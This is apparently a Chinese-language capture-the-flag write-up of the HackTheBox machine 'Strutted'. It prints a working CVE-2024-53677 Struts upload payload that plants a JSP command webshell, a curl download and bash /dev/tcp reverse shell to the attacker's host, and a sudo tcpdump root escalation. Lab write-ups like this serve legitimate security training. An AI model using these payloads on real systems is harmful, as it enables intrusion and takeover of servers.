<h1>Machine - Strutted</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/Strutted">https://app.hackthebox.com/machines/Strutted</a> | <code>Linux</code> | Medium
</blockquote>
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Strutted nmap -sT -min-rate 5000 10.10.11.59 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-02 21:26 CST
Nmap scan report for 10.10.11.59
Host is up (0.080s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Strutted nmap -sT -A -p 22,80 10.10.11.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-02 21:27 CST
Nmap scan report for 10.10.11.59
Host is up (0.066s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 97.21 ms 10.10.16.1
2 52.26 ms 10.10.11.59

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds
</code></pre>
没扫描出来什么，<code>80</code>端口开始
<h2>Web</h2>
<h3>信息收集</h3>
访问 <code>HTTP</code>，上来就是一个上传功能点，并且是使用 <code>Java</code> 写的
<img src="/post-images/HackTheBoxMachine%20-%20Strutted/image.png" alt="image.png">
上传一张 <code>png</code> 图片，上传后访问上传后的路径
<img src="/post-images/HackTheBoxMachine%20-%20Strutted/image1.png" alt="image.png">
路径大概就是 <code>/uploads/&#x3C;日期>_&#x3C;时间戳>/Image</code>
右上角的 <code>Download</code> 能下载一个压缩包文件
<img src="/post-images/HackTheBoxMachine%20-%20Strutted/image2.png" alt="image.png">
解压后从这几个文件名来看，这是一个基于 <code>Tomcat</code> （很可能还用到了 <code>Struts</code> 框架）的 Java Web 工程目录
<img src="/post-images/HackTheBoxMachine%20-%20Strutted/image3.png" alt="image.png">
从 <code>tomcat-users.xml</code> 中能得到一个用户 <code>admin:skqKY6360z!Y</code>
<pre><code class="hljs language-bash">&#x3C;?xml version='1.0' encoding='utf-8'?>

&#x3C;tomcat-users>
 &#x3C;role rolename="manager-gui"/>
 &#x3C;role rolename="admin-gui"/>
 &#x3C;user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
&#x3C;/tomcat-users>
</code></pre>
<code>Dockerfile</code>
<pre><code class="hljs language-bash">FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine

RUN apk add --no-cache maven

COPY strutted /tmp/strutted
WORKDIR /tmp/strutted

RUN mvn clean package

FROM tomcat:9.0

RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT

COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

EXPOSE 8080

CMD ["catalina.sh", "run"]
</code></pre>
在 <code>strutted\src\main\resources</code> 中能找到 <code>struts.xml</code> ，那么该应用确定使用了 <code>Apache struts</code> 框架
使用 <code>cursor</code> 分析了一波：
<blockquote>
这是一个图片上传和分享服务，允许用户上传图片并获得可分享的短链接
支持<code>JPG</code>、<code>JPEG</code>、<code>PNG</code>和<code>GIF</code>格式的图片
使用Java开发，基于<code>Apache Struts 2</code>框架（版本<code>6.3.0.1</code>）
使用<code>SQLite</code>数据库存储<code>URL</code>映射信息
</blockquote>
检索 <code>Struts</code> 的公开漏洞发现存在一个严重的漏洞 CVE-2024-53677
<h3>CVE-2024-53677</h3>
<blockquote>
网上现在很多的资料：<a href="https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/">https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/</a> | 其中<code>POC</code>在这里找到的：<a href="https://blog.csdn.net/hcja666/article/details/145431770">https://blog.csdn.net/hcja666/article/details/145431770</a>
</blockquote>
通过<code>POC</code>上传文件
<pre><code class="hljs language-bash">------geckoformboundary4326f830a192485d2f8c0ae8e591b119
Content-Disposition: form-data; name="Upload"; filename="1.gif"
Content-Type: image/gif

GIF89a;
&#x3C;%@ page import="java.io.*"%>
&#x3C;%
 out.print("Hello&#x3C;/br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"&#x3C;/br>");
 }
%>
------geckoformboundary4326f830a192485d2f8c0ae8e591b119
Content-Disposition: form-data; name="upload";name="top.UploadFileName";

../test.jsp
------geckoformboundary4326f830a192485d2f8c0ae8e591b119
</code></pre>
可以发现图片的访问路径变成了：<code>uploads/20250602_143716/../../test.jsp</code>
<img src="/post-images/HackTheBoxMachine%20-%20Strutted/image4.png" alt="image.png">
访问上传的<code>WebShell</code> ，成功执行命令
<img src="/post-images/HackTheBoxMachine%20-%20Strutted/image5.png" alt="image.png">
<h3>反弹 Shell</h3>
这里构造麻烦了
<ol>
<li>
首先创建反弹<code>shell</code>的脚本
<pre><code class="hljs language-bash">/bin/bash -c 'bash -i >&#x26; /dev/tcp/10.10.16.45/1234 0>&#x26;1'
</code></pre>
</li>
<li>
通过 <code>WebShell</code> 下载并保存到 <code>/tmp/shell.sh</code>
<pre><code class="hljs language-bash">GET /test.jsp?cmd=curl+10.10.16.45%2Fshell.sh+-o+%2Ftmp%2Fshell.sh HTTP/1.1
Host: strutted.htb
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=67A2B86E62E77A8267883495A2D05A7E
Priority: u=0, i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://strutted.htb/test.jsp?cmd=/bin/bash%20-c%20%27bash%20-i%20%3E&#x26;%20/dev/tcp/10.10.16.45/1234%200%3E&#x26;1%27
DNT: 1
Sec-GPC: 1
</code></pre>
</li>
<li>
赋予权限 &#x26; 监听 &#x26; 执行
<pre><code class="hljs language-bash">nc -lvp 1234
</code></pre>
<pre><code class="hljs language-bash">chmod%20+x%20%2Ftmp%2Fshell.sh
%2Fbin%2Fbash+%2Ftmp%2Fshell.sh
</code></pre>
然后就能接收到 <code>Shell</code> 了
<img src="/post-images/HackTheBoxMachine%20-%20Strutted/image6.png" alt="image.png">
</li>
</ol>
<h2>信息收集</h2>
拿到 <code>shell</code> 后，找一些有用的信息
从 <code>tomcat-users.xml</code> 得到一个新密码 <code>IT14d6SSP81k</code>
<pre><code class="hljs language-bash">ser username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
</code></pre>
端口监听信息
<pre><code class="hljs language-bash">tomcat@strutted:~/conf$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 100 [::ffff:127.0.0.1]:8080 *:* users:(("java",pid=1012,fd=37))
tcp LISTEN 0 128 [::]:22 [::]:*
</code></pre>
下一个用户应该就是 <code>james</code>
<pre><code class="hljs language-bash">tomcat@strutted:~/conf$ ls /home
james
</code></pre>
我们尝试使用刚刚得到的密码进行登录
意外的成功了
<pre><code class="hljs language-bash">➜ Strutted ssh james@10.10.11.59
james@10.10.11.59's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro

 System information as of Mon Jun 2 02:59:38 PM UTC 2025

 System load: 0.0
 Usage of /: 69.4% of 5.81GB
 Memory usage: 9%
 Swap usage: 0%
 Processes: 219
 Users logged in: 0
 IPv4 address for eth0: 10.10.11.59
 IPv6 address for eth0: dead:beef::250:56ff:feb9:60d8

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
 just raised the bar for easy, resilient and secure K8s cluster deployment.

 https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Jun 2 14:59:38 2025 from 10.10.16.45
To run a command as administrator (user "root"), use "sudo &#x3C;command>".
See "man sudo_root" for details.

james@strutted:~$ 
</code></pre>
<h2>提权</h2>
家目录下能拿到 <code>user.txt</code>
<pre><code class="hljs language-bash">james@strutted:~$ cat user.txt 
523654eb64985132ab25397feda089ed
</code></pre>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
 (ALL) NOPASSWD: /usr/sbin/tcpdump
</code></pre>
以及结束了，利用链接：<a href="https://gtfobins.github.io/gtfobins/tcpdump/">https://gtfobins.github.io/gtfobins/tcpdump/</a>
<pre><code class="hljs language-bash">COMMAND='cp /bin/bash /tmp/bash;chmod +s /tmp/bash;'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
</code></pre>
<pre><code class="hljs language-bash">james@strutted:/tmp$ ./bash -p
bash-5.1# id
uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=0(root),27(sudo),1000(james)
</code></pre>
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">bash-5.1# cat root.txt 
1db28e82bbd377c60d86c4992aa8ec87
</code></pre>
<h2>总结</h2>
<code>Web</code>通过<code>CVE-2024-53677</code> 进行梭哈，其实对我这种对<code>JAVA</code>不熟悉的人，看项目都一脸懵，通过<code>cursor</code>来检索出来了重要的信息（<code>Stucts</code>的版本），找 <code>Payload</code> 的时间也挺长的…
提权更简单，一键梭哈
总的来说，像是披着<code>Medium</code>的<code>Esay</code>

HackTheBox - Machine - Strutted

HackTheBox - Machine - Cap

Personal - sunset